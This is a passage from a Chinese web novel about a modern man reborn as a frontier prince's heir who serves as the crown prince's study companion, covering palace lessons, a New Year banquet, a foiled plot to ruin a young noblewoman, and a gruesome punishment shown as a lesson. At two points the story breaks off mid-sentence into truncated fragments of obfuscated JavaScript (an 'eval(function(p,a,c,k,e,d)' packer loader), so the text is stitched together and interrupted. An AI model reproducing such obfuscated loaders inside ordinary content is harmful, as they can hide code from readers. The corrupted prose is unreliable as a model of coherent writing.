“多谢殿下关心。昨日是臣一时好胜,逼得紧了,李二公子这才下手重了些。往后有了分寸,应当不会了。” 他顿了顿,像是想起什么趣事,眼底漾开些许笑意,坦荡又明亮。 “不瞒殿下,早在上京前,臣便对李二公子的身手多有耳闻,心里还想过,若能与他切磋,定能获益良多。”他抬手,摸了摸鼻尖,“只是没想到……会败得这般狼狈,让殿下见笑了。” 随即,他收敛了玩笑的神色,正身,向着江醉玉的方向,极郑重地拱手一礼: “自然,臣更明白,臣今日能在此伴读,受的是陛下的恩典,殿下的照拂。臣之所学,所思,所为,皆当以此为念。” 阁内一时安静,只有烛芯偶尔发出的轻微“噼啪”声。江醉玉静静听着,面上看不出情绪。片刻,他微一颔首,目光掠过江弄玦还拱着的手,淡声道:“你心里有数便好。” 江弄玦望着江醉玉离开的背影,直到那抹藏青色彻底融入阴影,才缓缓直起身。 指尖还残留着郑重行礼时的紧绷感。他轻轻摩挲了一下,心下稍定。 江醉玉会主动关怀别人?江弄玦才不信。江醉玉这打小长在宫里的储君才不会做无用之事。 若他与李辞禅厮混,对于江醉玉来说就是未来两大军中势力的接班者有可能结盟,他必会戒备。 所以刚才江弄玦一定要表现得足够识趣,足够理解自己的立场。 当务之急,是尽可能地积累知识吧。说实话,现代人的知识放在古代,能用的不多。他需要补习的东西实在太多了。 江弄玦将注意力放回书架,挑选想好的书籍—— 而当最初那如履薄冰的两日过去,时光便像上了发条,在深宫的规训中规律地流逝。转眼,已是三月有余。 每日晨读时,他和江醉玉都会不约而同地提前半个时辰来到藏晖阁。 刚开始只是纸张翻动的声音遥相呼应。 之后某一天,江醉玉对着当日课业的策论沉吟时,听到了空旷学堂的另一侧传来一道轻声的见解。而当江弄玦会在跟林知尘念叨过某书难寻后,隔日在自己的书案上发现那本书的孤本。两个人始终保持着一种无言的默契。 课上考核时,江弄玦也差不多控分苟过,尽量将“中庸”二字贯彻到底。林知尘曾若有所指地吐槽这位“中庸之才”,却也被江弄玦以“林公子,你好坏”等笑谈敷衍过去。 他渐渐品出,这位林公子里就是个乐子人。在没有利益冲突时,与他斗嘴调侃算是深宫生活中难得的调剂。 武课时固定与李辞禅搭档,对李辞禅的称呼,早已变成了直呼大名。 比如—— “江弄玦,你阴不阴!” “这叫智取,李辞禅。” 毕竟两个人都不是手下留情的主,嘴上肯定不会轻松放过对方。 一场酣畅淋漓的比试之后,江弄玦往往会骂骂咧咧地再次挑衅李辞禅。 这个时候李辞禅会异常宽容,允许他的败者发言。 由于众学子都能看得出江醉玉和李辞禅的态度,也无人再明面上向江弄玦找茬。最初那些试探乃至挑衅的目光逐渐变为观望,甚至表面的客气,真乃喜事一桩。 转瞬已至年末。 这日宫中要举办宫宴,上完早课后便可以散学了。各家公子须回去稍作准备参加宫宴。 散学后,已经变成同桌的李辞禅转头就问:“来我府上吗?” 江弄玦以为自己耳朵听错了:“啥?” 李辞禅撑着下巴,懒洋洋地重复道:“我——说,要不要来我府上?” 正好林知尘走到二人的书案前,一脸兴致勃勃。 “在说什么?世子殿下的表情很微妙嘛。” 江弄玦白他一眼,小声地咬牙切齿:“别搞我了。” 很难不微妙,感觉像是在外投喂的小狸花突然咬着你裤腿拉你回家一样。 李辞禅却不觉得这是什么怪事,难得耐心地解释道:“哥哥说想见江弄玦,我便问他要不要去我府上。反正明日开始休沐三日,今日便直接住在府里即可。” 晚来一步的江醉玉刚好听完这段说辞,正好看见一言难尽的林知尘和江弄玦两人。 他目光平静地看过神色各异的三人,最后望向江弄玦,如同通知般道:“弄玦,今日宫宴,父皇有旨,命你随侍。” “臣遵旨。”江弄玦松了口气,一脸可惜地对李辞禅说:“可惜了李兄,时机不合适。” 李辞禅挑眉道:“那休沐时来吧。明日休息一日,后天来。” 紧接着江醉玉又接:“恐怕也是不可。” 江弄玦听得眉头一挑。 只听江醉玉继续道:“休沐时,宫中伴读者需得随东宫聆听训示,呈交功课,此乃宫规。” 李辞禅先是一僵,江弄玦连忙凑过去:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他猛地一拍书案,豁然起身。巨大的动静让周围尚未走远的几个学子吓了一跳,纷纷侧目。 最后,他硬邦邦撂下三个字: “晚上见。” 说完也不等回应,随手捞起椅背上的外衫,转身大步流星地走了。 江弄玦望着他写满了“小爷我不爽但小爷我忍了”的背影,觉得这孩子提前进入青春期了。 哦不对,他十四,正好是时候。 他收回视线,又双叒叕先瞥了眼江醉玉的脸色——太子殿下依旧神情平淡,瞧不出喜怒。 江弄玦想了想,还是本着同窗情谊为李辞禅找补了一下: “李兄他……性子向来如此,直来直去。想必是听闻能一同休沐,心里高兴,一时激动了。” “噗——哈哈哈哈哈哈哈!” 他话音刚落,一旁的林知尘就彻底不忍了,放声大笑起来,那笑声在空旷的学堂里格外清亮。 江弄玦被他笑得耳朵发麻,一脸嫌弃:“林大才子,文雅,文雅一点。” “哈哈哈哈……对不住,对不住,”林知尘以扇掩面,肩膀却还在抖,“实在是……世子你这‘高兴’、‘激动’的说法,太过精妙,令人忍俊不禁啊哈哈哈……” 江弄玦:“……” “知尘。”江醉玉终于开口,声音不大,却瞬间止住了林知尘那过于外放的笑意。 林知尘立刻收了声,只是眼角还残留着笑出来的泪花。 他一边用指腹轻拭,一边气息未平地感慨:“辞禅兄这性子,当真有趣。今日若非弄玦兄在此,我怕是也无缘得见这般……生动的情态。” 李辞禅分明是表里如一的臭屁初中生啊。而且你跟他认识得比我久吧。 江弄玦默默吐槽,没敢说出来。但李辞禅这样也算是这个年龄的孩子特有的一种可爱吧。 “走吧。”江醉玉不再多言,率先举步。 “是,殿下。”江弄玦也收敛心神,恭敬行礼,“臣也先行告退。” 回到撷玉轩后,江弄玦便在竹子、桃子等人的服侍下忙忙叨叨地做起前往晚宴的最后准备。 “世子,这是太子殿下前些日子送来的礼服。” 桃子最后抚平他衣服上一处褶皱,和竹子同时感叹一声:“世子这身真好看啊。” 这是江弄玦第二次穿上这身衣裳。上一次还是太子赐下时试穿,于镜前只觉华丽陌生。 他审视一番镜中的自己,满意地点了下头。 他现在也算是能勉强入太子眼的一颗棋子,面子上体贴一番自家棋子确实是江醉玉的风格。说来,江醉玉送来的礼服非常合身,衬得他也更精神了。 江弄玦对一旁的竹子又吩咐道:“宴上若见我离席过久,莫慌。先去寻东宫那位眼熟的内侍,就说‘世子酒酣,恐迷了路’。若他不便,便去寻林公子身边的玉颜,话不必多,他自会明白。” 思及宴会上难免存在意外,竹子神色郑重地沉声应下:“是,世子。” 这宴会上,扮演好“江弄玦”可是个费脑筋的活。一丝丝的不小心也许都会生出大事。 江弄玦最后看了一眼镜中身影,将那句“镇北王世子”的标签,在心中默念一遍。 随即,他转身,面向门外沉沉的、缀满宫灯的暮色。 “走吧。” 4. 本世子参加晚宴 大雍王朝国力强盛,到了当今陛下这一代更是达到了新的高峰。 当今陛下在其弟镇北王与陆宰相的辅佐下登基以来已有十六年。 这次宫宴是十六年来来宾最多的一次,也是耗费最大的一次。这些都是林知尘告诉江弄玦的。 实际上递帖子进了宴会大殿后,江弄玦就理解了林知尘的意思。 殿内三十六根三人合抱粗的盘龙金柱高耸入脊,夜明珠与数千盏宫灯交相辉映,将偌大的宫殿照得如若白昼。空气中浮动着龙涎香与酒香、果香混合的气息,让人闻着便心生醉意。背景乐是宫廷乐师恰到好处的演奏声,将眼前的金碧辉煌烘托得越发不似人间。 已经落座的来宾们已然开始社交,每人脸上都带着恰到好处的笑容,举杯致意,庆祝新年的到来。 来宾席位严格按照品级爵位排序,而江弄玦作为伴读弟子较为特殊,被安排到了离御座不远不近的位置。 江弄玦一边感叹眼前一幕幕多么得烧钱,一边来到了自己的席位。他的左边是林知尘,右边还空着——应当是李辞禅。前侧不远处是江醉玉的席位,他已然落座,正垂眸与身旁一位老臣低语。 似乎是特意待江弄玦看完全场,林知尘才凑了过来。他的声音带着一贯的玩味,低低传来:“这身行头,很适合弄玦兄嘛。正经得林某人都不敢认了。” 江弄玦今日一身天青色锦袍,正是林知尘喜欢的颜色,衬得江弄玦分外得有文气。 只是,与江弄玦平时的印象完全不同罢了。 江弄玦挑眉,戏谑回敬:“多谢林兄。林兄也是,少见你穿得……如此‘雍容华贵’嘛。” 林知尘平日里穿得多是天青、月白等清雅色系,今日则穿了一身绛紫色云纹锦袍。这颜色穿不好便显老气或俗艳,但穿在他身上,却衬得其眉眼间的风流雅致里,多了一份平日罕见的、属于世家子的矜贵与沉稳。只是他唇边那抹熟悉的、略带调侃的笑意,瞬间又将这份“正经”打破了三分。 林知尘一拍扇子,“啧”了一声。 “有这张嘴,我怎么都能认出你来的。” 两人正低声说笑间,殿内原本和缓的丝竹之声陡然一变,转为庄严恢弘的礼乐。训练有素的内侍们瞬间静立。原本满殿的寒暄谈笑,如同被一只无形的手骤然抹去,只剩下屏息的安静。 所有人的目光,不约而同地转向御座后方那扇巨大的、描绘着山河社稷图的屏风。 就在这万籁俱寂、落针可闻时—— 殿门处,忽然传来一阵略显急促却沉稳有力的脚步声,与此刻的气氛格格不入。 众人下意识侧目。 只见李辞禅一身玄色锦袍,外罩一件墨青色绣麒麟纹的披风,带着一身未散的凛冽寒气,大步流星地踏入殿中。 他似乎刚从马背上下来,发髻因行动而略显松散,几缕黑发拂过如墨的眉峰,小麦色的脸颊被寒气激得微微发红,更衬得那双眼眸亮如寒星。 他全然无视这满殿的寂静与无数道投来的目光,径直走向伴读座席区,目光精准地锁定了江弄玦……旁边的空位。 他在江弄玦右侧稳稳坐下,顺手将解下的披风递给急忙上前的宫人,这才仿佛刚注意到这过于安静的气氛,略一挑眉,毫无歉意地对上江弄玦无语的眼神。 李辞禅侧过身,用只有两人能听到的音量低声:“晚上好。” “……”江弄玦在案下给了他一记不轻不重的肘击,“好个屁。” 几乎是同时—— “陛下驾到——!皇后娘娘驾到——!” 宫人的唱喏声划破了寂静。 明黄色的华盖仪仗,自屏风后缓缓移出。 皇帝年至中年,面容却不见疲态,反因久居上位而蕴着一股不怒自威。他身着玄色十二章纹衮服,金线在灯火下流淌着沉静的光泽。那开阔漆黑的眉眼与挺直的鼻梁,竟让江弄玦依稀看到了镇北王的影子,只是皇帝更显雍容。 陆皇后随行在侧,一袭正红色金绣百鸟朝凤礼服,凤冠璀璨,步摇轻颤。今日点过妆后,那张艳美的脸呈现出一种国泰民安的华贵。 二人落座,在皇帝的一声令下正式开席。 悠扬的丝竹声再起,舞姬入殿,宴席这才有了几分开始的模样。 江弄玦不必与其他人推杯弄盏,乐得轻松,便将心神都放在了眼前的御膳上。 一口八珍豆腐下去,他几乎快哭了。 好吃,当真好吃。 他算是第一次切身体会古代皇帝吃得有多好了。这伙食改善得不是一星半点。 他这边吃得专注投入,浑然忘我,旁边一道目光却盯了他许久。 李辞禅有些稀奇,视线黏在江弄玦没停下来过的筷子上,终于还是没忍住,压低声音问:“平时在宫里,是吃不饱饭吗?” 江弄玦:“……?” 不等他解释,李辞禅已经似乎已经脑补完了一处质子受虐记,眼神里顿时出现了三分同情、七分“果然如此”的笃定。 他倾身过来拍了拍他的肩膀:“……多吃点。以后武课完了,我那份点心也分你。” 江弄玦:“不是,李兄,你听我……” 然而李辞禅已经开始把他案上那盘几乎未动的炙烤羊肉——江弄玦吃得最多的一道菜,拨过来一大半,堆在江弄玦的碗里成了一座小山。 “这个好吃。”他言简意赅,眼神里带着一种“我的小弟我来罩”的怜惜。 全程目睹的林知尘:“哇哦。”一定要把这一幕告诉太子殿下。 他身子也朝这边偏了偏,声音带着惯有的、唯恐天下不乱的调侃:“辞禅兄,这般体贴,怕是过了。” “若是叫对面那些夫人小姐们瞧了去,一传十十传百,说你李二公子已有‘心头好’,往后你再去向哪位姑娘提亲,怕是要平添许多误会了。” 李辞禅剑眉一挑,脸上露出诧然。 仿佛在说:世上还有这等麻烦事需要小爷我亲自考虑? 林知尘被他这毫不作伪的震惊噎了一下,沉默片刻,神情变得有些微妙起来。 他摇着扇子,慢悠悠道:“辞禅兄,过了今日,你虚岁也十三了。这婚姻大事,府上长辈,多少也该有些考量了吧?” “与其琢磨那些,”李辞禅不以为然,只是一味地投喂江弄玦,又顺手夹了好些乳酪干放进了江弄玦的小碟里,“不如想想下次武课上怎么暴打江弄玦。” 正在努力消化羊肉山的江弄玦要摔筷子了:“哎!这你就有点过分了,说这话可以避开一下苦主本人吗?” 林知尘听着,眼中笑意更深,那笑意里透着了然。他意味深长地看了看李辞禅,又瞥了一眼江弄玦,轻声道:“也是。” 李辞禅这次没再接话,只是几不可察地哼了一声。 “说来,”林知尘露出一个搞事的笑容,“弄玦兄倒是颇受欢迎呢。” 江弄玦:“啊?” 怎么还有他的事? 林知尘笑得狭促:“我看母亲那边的好几位小姐方才都在打量这里呢。” 李辞禅夹菜的手几不可察地一顿。 他先瞥了眼江弄玦——对方正一脸状况外地咀嚼着,侧颜线条干净,偏有一粒米饭明晃晃粘在唇角,看着就有一股让人手痒的傻气。 打量他? 他这才顺着林知尘的暗示望去。果不其然,林夫人席侧,几位少女正频频望向这里,目光触及他的视线,立刻受惊般纨扇掩面。 好吧。事实胜于雄辩。 李辞禅不想让江弄玦嘚瑟,却也不得不承认,江弄玦确实长得好。 他幼时见过镇北王,那人非常符合他对“阳刚男子”的一切印象。眉目如同刀削,神情坚毅,身形与举止中都带着日日练功的痕迹。 但江弄玦这小子不同。 江弄玦虽年幼,却仍可见其相貌出挑。五官像工笔画,如宫廷匠人细心勾勒过的,虽能看出镇北王影子,却更精致清隽,甚至带些昳丽。可偏偏,他是个吊儿郎的性子,不时地眉峰一扬或是唇角微扯,那属于少年人的锋利轮廓和不羁神采便会乍然破土,与他精致面容巧妙糅合,莫名得…… 引人注目。 那股从白日淤积到现在的无名火,本就未散,此刻被对面若有似无的目光一激,更是蹭地窜了上来。 今日为了消解烦躁,他便在自家的马场纵驰了好久,因此差点误了宫宴。此刻无处发泄,只能硬生生压在喉咙里—— 他仰头,将满杯酒一口灌下,不作声地低头看酒杯。 江弄玦默默咽下口中的食物,斜眼瞥了瞥身旁这尊散发黑气的“煞神”,本着疏导青春期问题少年的心态,压低声音试探: “李兄莫气,我们一起反思一下。有没有一种可能……是你平时太凶,姑娘们才不敢看你?” 虽然他更倾向于认为是李辞禅喜怒无常的“恶名”早已远扬。 李辞禅没说话,只缓缓转过脸,睨了他一眼。 江弄玦立刻一脸真挚:“……我的意思是,酒不错,你多喝点。” 这个年纪喝这么多酒,小心把自己喝成二傻子! 林知尘这次好歹是死死咬住了腮帮子没笑出声,只是憋得从耳根红到了脖颈,肩膀微微发抖,看着比当事人还要滑稽几分 没等林知尘缓过这会劲,他就见之前向江弄玦找事的瘦干狼拿着酒盏来到了江弄玦的案前。 江弄玦见此,立刻带上官方的笑容,拿起酒盏站了起来。 瘦干狼本名王散,家族虽不如辅国公有根底,却也算是京城权贵。 王散虽然穿上了更华贵的礼服,但由于面容消瘦、眼窝深陷,仍有一股盖不住的阴郁。 他勾起一个自认优雅的笑容,举杯道:“世子,初入东宫太学时,在下年轻气盛,多有冒犯。今日借此盛会,特向世子致歉。”说罢,仰头一饮而尽,“望世子宽宏大量。” 江弄玦同样干脆地饮尽杯中酒:“客气了。前尘小事,不过一场误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李辞禅倒也不急,好整以暇地等着,嘴角甚至还噙着一丝近乎残忍的耐心。 “王公子多虑了。与其想这些,不如趁自己尚在伴读,享受这晚宴。或许,明年你便不能在这里了呢?” 似乎是意识到李辞禅不会因自己的道歉改变想法,王散白了脸,一副走到了穷途末路的神色。 若这样,那他的父亲便会失去官位。他那不争气的表弟家可比他家要有底子,被针对也不至于失去身份和地位。他能来伴读,也正是托了表弟的福。 失去现在的荣华富贵? 凭什么?凭什么? 他不过是纵容表弟说了那北疆的乡巴佬几句,关李辞禅什么事? 凭什么他要因此失去这么多东西? 他瞪着脸部肌肉微微颤抖,似是气极。 李辞禅这个疯子,真把乡巴佬当自己人了! 他不甘李辞禅高傲的样子,咬牙也要让他不痛快一把。 “……你以为,江弄玦真乐意同你厮混在一处?” 王散的声音因为激动而微微变调,带着一股豁出去的狠劲。 李辞禅嘴角那点弧度瞬间消失,双眼一眯道:“你最好慎言——” “我说错了吗!”像是被李辞禅逼急了,王散声音陡然拔高,恰好让近处的江弄玦和林知尘听得一清二楚。 “那就是他人在屋檐下的权宜之计!平日你自视甚高视他人如草芥,以为高看他人一眼别人就得感恩戴德跪着谢你,殊不知在别人眼里你从头到尾都只是个疯——啊!” 王散正是激动之时,却被江弄玦猛地一撞,两人双双踉跄,酒洒了一身。 江弄玦满脸惊恐:“王公子,你没事吧?可有伤着?江某贪杯失态,实在对不住!” 江弄玦声音不大不小,恰好让周围几桌听见。说话间,他已不着痕迹地隔在了李辞禅与王散之间。 他余光瞥见宫人匆忙赶来,他侧过脸,看向那脸色阴沉不定的李辞禅,用只有两人能听清的耳语般的声音快速道:“事后再说。” 说罢,他不看李辞禅的反应,顺势搭上一名宫人的手臂,做出一副微醺不稳的模样,与惊魂未定、衣衫狼藉的王散一同,被宫人引着朝殿侧更衣处走去。 他的身后,李辞禅站在原地,只是死死盯着江弄玦的背影消失在侧门光影里,然后一言不发地重重坐回席间。 林知尘脸上早没了惯有的笑意,他迅速与御座下首的江醉玉交换了一个眼神,江醉玉几不可察地微一颔首。林知尘随即招来一名东宫近侍,低声将方才冲突的要点快速转述。 离了大殿,夜风一吹,江弄玦才觉出后背一层薄汗。宫人沉默地在前引路,他揉了揉额角,心里那根弦却绷得更紧。 王散那蠢货,是不要命了吗?那不是纯找揍吗? 李辞禅那性子,吃软不吃硬,自己强行打断他发作,这气怕是一时半刻消不下去,恐怕还要连带着恼上自己。 来到更衣处,宫人给了江弄玦一身新衣服。 质地做工虽不及太子所赐的礼服,却也清爽合宜。 宫人无声退下,掩上了门。 江弄玦快速换好了衣服,正在发愁该怎么向太子解释自己把御赐的礼服弄脏一事时,屋子的门却开了。 江弄玦转头看去,待看清来人,险些失声—— 5. 本世子被教育了 来人竟是林倾颜。 她已换下宫宴华服,着一身素雅的月白常服,发髻微松,非但不显狼狈,反添了几分美感。她突然出现,神情平静,仿佛早有预料似地接受了江弄玦在这里的事实。 “世子,得罪了。” 她声音极轻,不等江弄玦反应,便闪身入内,反手迅速将门栓轻轻落下。 “林小姐,你这是……”江弄玦惊愕之下,立刻后退两步,拉开距离,脑中警报狂响。 “时间紧迫,恕我直言。”林倾颜背靠门板,侧耳倾听了一下门外动静,语速快而低。 “有人欲设计我与此番同样更衣的王公子偶遇,坏我名节。我察觉有异,知世子在此更衣,只得兵行险招,前来避祸。” 她抬眼,目光冷静地看向江弄玦:“此地不宜久留,他们很快便会引人前来。请世子速与我寻一处暂避,只需片刻,待人群过去即可。” 江弄玦瞬间明白了。 这是后院倾轧的经典戏码。此时与林倾颜独处一室风险极大,但若将她拒之门外或任其被构陷,后果更不堪设想。不仅彻底得罪林家与未来的皇后,也会让太子对自己生出看法。 “得罪了。”他当机立断,快速环视这间陈设简单的更衣室,目光落在靠墙的一座高大衣柜上。 他快步过去,拉开柜门,里面挂着几件备用袍服,空间勉强可容两人侧身而立。 “快!” 林倾颜也不扭捏,立刻侧身躲入柜中一侧。江弄玦紧随其后,挤进另一侧,反手将柜门拉上,只留下一条极细的缝隙用以观察和透气。 柜内空间顿时变得逼仄而昏暗。两人几乎肩挨着肩,能清晰地感受到对方因紧张而略显急促的呼吸,以及衣料摩擦的细微声响。 江弄玦屏住呼吸,全身紧绷,将所有注意力都集中在耳朵上。 果然,不过十几个呼吸的时间,门外走廊便传来一阵纷乱而刻意放轻的脚步声。 然后便是女子压低了的、矫揉造作的惊呼声:“方才好像看见林姐姐往这边来了,该不会是醉得狠了,走错了吧?快看看!” “哎?这门怎么好像没锁严?王公子方才也说来更衣,莫不是……” 话音未落,房门便被“砰”地一声从外推开! 几道人影涌入室内,当先的正是两位打扮华丽、眼神却透着兴奋与恶意的少女,身后跟着几名侍女婆子,以及面色惊疑不定、似乎也从隔壁被引来的王散。 “没人?” “怎么会……明明……” 几人四处张望,翻看屏风后,甚至探头看了看窗棂。 柜内,江弄玦能感到林倾颜的身体微微发抖,不知是恐惧还是愤怒。 林倾颜如今也不过江弄玦大一岁,却要面临对于古代女子来说最为凶险的陷害。 因为林倾颜冷静聪慧的模样让江弄玦不禁想到他的老妹,对这孩子也生出了可怜之情。 他悄然挪动了一下,低声道:“会没事的。” 林倾颜抿唇点了点头,身子好歹抖得没那么厉害了。 就在众人涌入房间、四处翻找的混乱时刻,谁也没有注意到,后窗外的夜色里,一道玄色身影如夜枭般悄无声息地落在檐角——正是生闷气出来透风的李辞禅。 他问到了江弄玦更衣的地方,打算继续“事后再谈”,却正好撞见一群人气势汹汹地往这边过来,于是上房找了个暗中观察的视角。 屋内的众人搜寻不久,忽的听到一阵开门声。 原来是宫中内侍前来寻人了。 众人只得悻悻离去,还夹杂着“奇怪”、“莫非看错了”的嘟囔。 直到脚步声彻底远去,江弄玦才缓缓吐出一口长气,轻轻推开柜门。 “林小姐,安全了。” 林倾颜整理了一下微乱的鬓发和衣襟,恢复了平日的端庄从容。 她向江弄玦郑重一礼,语气真诚:“多谢世子援手,倾颜铭记在心。此事……” “今夜你我皆未来过此处,更未相遇。”江弄玦接口,神色平静地截断了话头。 林倾颜眼中掠过一丝赞赏,微微颔首:“世子通透。”她不再多言,悄然开门,身影迅速消失在廊外。 江弄玦独自站在恢复寂静的屋内,却莫名感到一阵如芒在背的不安。他摇了摇头,只当是方才紧张过度。 待回到宴会时,李辞禅的座位上已经没人了。 不必多说,应当是出去撒气了。 林知尘见江弄玦回来,用扇子掩口低声道:“别放在心上。李兄那脾气,来得快去得也快。而且方才,他一直沉默着,什么话都没说。” 没说话的李辞禅才最难料……江弄玦揉了揉眉心,苦笑:“但愿吧。”他顿了顿,压低声音,“太子殿下……都知道了?” 林知尘“唰”地展开扇子,故作轻松地给他扇了两下:“你一离席,我便让人将前因后果禀明殿下了。殿下自有分寸,你不必过于忧虑。” 江弄玦无语地按住他扇风的手:“林兄,大冬天,你是嫌我病得不够快?” 林知尘从善如流地收扇,挑眉:“得,下次再安慰你,我跟你姓。” 宴会散后,江弄玦果然被太子内侍请到了东宫书房。 江弄玦进书房时,江醉玉伏在案边,应当是在批阅文书。 “参见太子殿下。” 江醉玉放下朱笔,活动了下手腕:“免礼。” 不多时,江弄玦便将今日晚宴所有的事件串了一遍。 听过他的汇报后,江醉玉颔首,情绪不变地评价道:“临机决断,护得你二人清誉,做得不错。” “但,” 江弄玦心下一紧,下意识攥紧了袖中拳头。 江醉玉将他的动作收入眼底,继续道: “更理智的做法,应是即刻出声,唤来宫人,将林小姐请出房外,而非容其入内,更遑论共处一柜。” “你将自己置于了最不可控的险地。今日,若孤没有派人去搅局,来人打开柜门,或若林小姐当时有任何慌乱失态,你又当如何?” 江弄玦闻言,先是为江醉玉掩护他一事而感激,然后下意识便要反驳:那样的话,林倾颜该如何自处?恰好与那群小姐撞上吗? 然而对上江醉玉的眼神,他又哑口无言——江醉玉看出他的想法了。 江醉玉掀起眼帘,眸中冷光闪烁:“弄玦,你在赌。赌上天垂青,赌柜门不会打开。” “而孤,”江醉玉微微后靠,烛光在他的侧脸上投下深刻的阴影,“从不将希望寄托于‘赌’之一字上。” “赌赢也罢了,赌输——你此刻便不是站在孤面前,而是在刑部或宗人府里,百口莫辩。” 他一摆手。 “呈上来。” 江弄玦脖颈僵硬,缓缓转头。 内侍不知何时已无声入内,垂首捧着一方乌木漆盒,跪在灯影边缘。 那盒子不大,刚好能托在掌心,没有花纹,没有装饰,只有盖子合缝处渗出一点暗色的、尚未干透的湿痕。 盖子掀开。 正中间—— 是一截沾血的舌头。 还连着一点撕裂的筋膜,齿痕深深嵌入肉中,像是被活生生咬断后,又被人用刀齐根切了一刀。 “呕——” 江弄玦胃部一阵剧烈的痉挛。 他死死捂住嘴,喉间涌上一股酸涩的腥气,晚宴吃下的东西翻涌着顶到嗓子眼,被他硬生生咽了回去。眼眶瞬间泛红,不知是生理性的泪水,还是别的什么。 作为一个现代人,他一生看过最血腥的场景,不过就是医院抽血的画面了。这刚刚被割下的舌头,无论从视觉还是精神上,都对他造成了极大的冲击。 他不敢再看那盒子,目光仓皇地移向一旁,却发现自己无处可逃——殿内每一寸空气都仿佛浸透了那股若有若无的铁锈味。 头顶,江醉玉的声音平静地传来: “这便是那犯事之人的下场。” 他的语气没有加重,没有威慑,甚至带着一种处理完杂务后的随意。 “孤让人割了他的舌头,杖八十,发配北疆军前效力。能不能活着走到北疆,看他自己的造化。” 江弄玦没有抬头。 他盯着地面金砖上自己模糊的倒影,胃还在痉挛,耳边嗡嗡作响。 他在那一刻忽然明白了—— 江醉玉不是在吓他。 这截舌头,是本就该送来的东西。江醉玉只是在处理一件例行的、不值一提的公务时,恰好让江弄玦看到了而已。 就像他处理奏章、批阅文书一样。 自然而然。 江醉玉端起茶盏,抿了一口,仿佛那盒东西并不存在。 “弄玦。” 江弄玦猛地回神,喉间还残留着反胃后的酸苦。 “孤与你说这些,不是要你感恩戴德。”江醉玉的目光落在他脸上,“是要你记住——你现在的身份,容不得‘赌’。” “你赌的不是自己的命。是你身后人的名声,与你亲近之人的命。” 江弄玦没有说话。 一股冷气顺着脊椎自下而上爬了上来,从尾骨一路窜到后脑。他这次,后知后觉地意识到,此事有多么险之又险。 江醉玉说得没错。 他当时失了冷静,做出了一个能帮林倾颜、但也最可能万劫不复的判断。他拿什么当依仗去帮别人?靠太子那点“吝啬”的信任么? 而更令他感到无力的,是他意识到,在江醉玉那里没有什么人情与侥幸——他根本不在乎林倾颜的名声怎么样。 对江醉玉来说的最优解,就是牺牲最小的变量,让林倾颜面对一场尴尬,来保证东宫不因林、玦二人卷入丑闻。 “臣……受教了。”江弄玦深吸一口气,面色苍白地压下反胃的恶心,心中一角正遭受着难言的溃败感。 江醉玉似乎对他的反应还算满意,敛去了锐利的目光,仿佛随口问道:“李辞禅今日,为何与王散起了争执?” 江醉玉问得猝不及防,激得江弄玦心神一震,将那点身体的不适立刻抛于脑后了。 江醉玉早听过林知尘的汇报了,他真正想听得是自己对李辞禅的态度。 他斟酌着用词,谨慎道:“回殿下,王散出言不逊,提及臣与李兄交往乃权宜之计。此外的言语也颇有过激,李兄性情刚烈,于是……” “你如何看?”江醉玉打断他,朱笔悬在奏章之上,“他待你,是真心,还是权宜?” 江弄玦沉默少顷,最后艰难吐出三个字: “臣不知。” 蜡烛燃烧的噼啪声在寂静中格外清晰。 深吸几口气,江弄玦的目光已恢复冷静,继续道: “李兄为人赤诚,磊落坦荡,不屑虚与委蛇。” “但李兄并非庸才,同窗数月,其于策论间的洞见、行事时的果决,臣亦有所见 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江弄玦活了三十多年,哪怕你告诉他眼前的是未来的帝王、乙游的男主,他也只会把对方看做黄毛小儿。 但方才书房中的每一句话、每一个指令,都精准地剖开他作为现代灵魂那点不自觉的优越感,将他那些基于人情与侥幸的想法踩于脚下。 可怕。让人胆寒。简直是披着小孩皮的妖怪。 他几乎能预见,未来由这样一颗心智淬炼出的帝王,将会是何等令人仰望又战栗的风采。 老妹说能推翻皇帝的那条线,究竟是怎么做到的呢? 江弄玦叹了一口气,最后望了一眼太子书房窗纸上跳跃的暖色光影。 只是这样一来,他也确认了一件事—— 若想能活得久远,就要以身入局。 起码现在,他要真正地,效忠江醉玉才行。 好在,他能感受到江醉玉对他有着一丝认可,这意味着对方有心将他纳入麾下,也意味着他迈出了成功的第一步。 转身时,他的神色已然更加坚定,将自己投入廊外无边的寒夜,朝着撷玉轩的方向走去。 门内,烛火静静跃动。 江醉玉的目光在那合拢的门扉上停留了一瞬,随即落回奏章,朱笔却悬空良久,未再动笔。 他眼底深处,那丝极淡的纵许,最终化为一声几不可闻的低语: “……玉不琢,不成器。” 与此同时,李府上下都在为二少爷的沉默感到胆战心惊。 夫人在二少爷幼时去世后,府上的主子便只有二位少爷。大少爷公务逐渐繁忙后,便少有功夫管教二少爷。再加之大少奶奶过门后对二少爷也是多加纵容,二少爷便成了府上的小祖宗,养成了跋扈的性子。 一直以来,二少爷生气也好赌气也罢,总归会表现出来。 小祖宗这此安静地回府,实属不对劲。 已经回到卧房的李辞禅终究还是没坐住,随手套了件外褂,不顾穿得单薄,抄着自己的爱枪便大步冲向了演武场。 紧接着,他便不知疲倦地舞枪。长枪破空之声撕裂夜色,一招一式都挟着未散的戾气,直至筋疲力竭、脑中一片空白才轰然停下。 只是,当他汗如雨下地倒在冰冷的演武场上,粗重的喘息声中,那副画面依旧固执地撞进脑海—— 隔着屋顶瓦缝,昏黄光线下,檀木柜中那两道几乎贴在一起的、属于少男少女的剪影。 李辞禅喘着粗气,胸膛剧烈起伏,汗水混着夜寒沁入衣襟。 他盯着墨黑的夜空,那股无处发泄的怒火、还有说不清道不明的酸涩,最终全都堵在胸口,化作一句从牙缝里挤出来的低语: “……究竟为什么。” 为什么他会如此……难受? 这种奇怪的感觉是什么? 李辞禅能肯定的是,那不是单纯的愤怒。 他其实都明白。王散那点挑拨离间的屁话,他根本不屑一顾。 江弄玦是不是“权宜之计”,对他有几分真心、几分算计,他靠直觉和眼睛就能掂量出来,用得着他一个跳梁小丑来“指点”? 至于江弄玦帮林倾颜……那丫头精得跟什么似的,对太子都未必真上心,何况是江弄玦?江弄玦多半是看在林知尘的面子和林家权势上,顺手为之。 那他到底在难受什么? 气江弄玦不信他。 不信他能控制住脾气,不信他会顾及当场发作背后的利害。 